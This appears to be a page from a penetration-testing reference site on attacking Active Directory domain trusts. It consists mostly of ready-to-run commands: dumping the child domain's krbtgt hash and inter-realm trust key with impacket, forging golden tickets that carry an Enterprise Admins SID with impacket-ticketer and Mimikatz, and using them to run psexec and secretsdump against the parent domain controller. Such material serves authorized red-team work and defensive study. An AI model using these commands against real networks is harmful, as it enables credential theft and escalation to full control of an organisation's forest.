> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Domain Trusts

> Domain trust attacks: parent-child escalation, SID filtering bypass, and cross-domain lateral movement.

## Enumerate Trusts

### PowerShell

```powershell theme={"dark"}
Get-ADTrust -Filter *
nltest /domain_trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
```

### PowerView

```powershell theme={"dark"}
Get-DomainTrust
Get-DomainTrust -Domain parent.domain.local
```

### BloodHound

Map → Domain Trusts view.

***

## Trust Types

| Type         | Direction     | Description                            |
| ------------ | ------------- | -------------------------------------- |
| Parent-Child | Bidirectional | Automatic between parent/child domains |
| Tree-Root    | Bidirectional | Between trees in same forest           |
| External     | One/Bi        | Between domains in different forests   |
| Forest       | One/Bi        | Between forest root domains            |

***

## Parent-Child — Escalation via Golden Ticket

Child domain → parent domain via SID History in golden ticket.

### Get krbtgt from Child

```bash theme={"dark"}
impacket-secretsdump CHILD/admin:pass@CHILD_DC -just-dc-user krbtgt
```

### Get Parent Domain SID

```bash theme={"dark"}
impacket-lookupsid CHILD/admin:pass@PARENT_DC
```

### Forge Inter-Realm TGT

```bash theme={"dark"}
impacket-ticketer -nthash CHILD_KRBTGT_HASH -domain-sid CHILD_SID -domain child.domain.local -extra-sid S-1-5-21-PARENT-SID-519 administrator
```

`-519` = Enterprise Admins.

### Use

```bash theme={"dark"}
export KRB5CCNAME=administrator.ccache
impacket-psexec child.domain.local/administrator@PARENT_DC -k -no-pass
impacket-secretsdump child.domain.local/administrator@PARENT_DC -k -no-pass
```

### Mimikatz

```cmd theme={"dark"}
kerberos::golden /user:Administrator /domain:child.domain.local /sid:CHILD_SID /krbtgt:CHILD_KRBTGT /sids:S-1-5-21-PARENT-SID-519 /ptt
```

***

## Trust Key Attack

Use inter-realm trust key instead of krbtgt.

### Get Trust Key

```bash theme={"dark"}
impacket-secretsdump CHILD/admin:pass@CHILD_DC -just-dc-user 'PARENT$'
```

### Forge

```bash theme={"dark"}
impacket-ticketer -nthash TRUST_KEY -domain-sid CHILD_SID -domain child.domain.local -extra-sid S-1-5-21-PARENT-SID-519 -spn krbtgt/PARENT.DOMAIN.LOCAL administrator
```

***

## SID Filtering

* Intra-forest trusts: SID filtering **not** applied (by default)
* External/forest trusts: SID filtering **applied** (blocks SID history)
* Selective authentication: limits which users can auth across trust

***

## Quick Reference

| Task           | Command                                    |
| -------------- | ------------------------------------------ |
| Enum trusts    | `Get-ADTrust -Filter *`                    |
| Child → Parent | Golden ticket with `-extra-sid PARENT-519` |
| Trust key      | `secretsdump -just-dc-user 'PARENT$'`      |
| SID filtering  | Blocks SID history on external trusts      |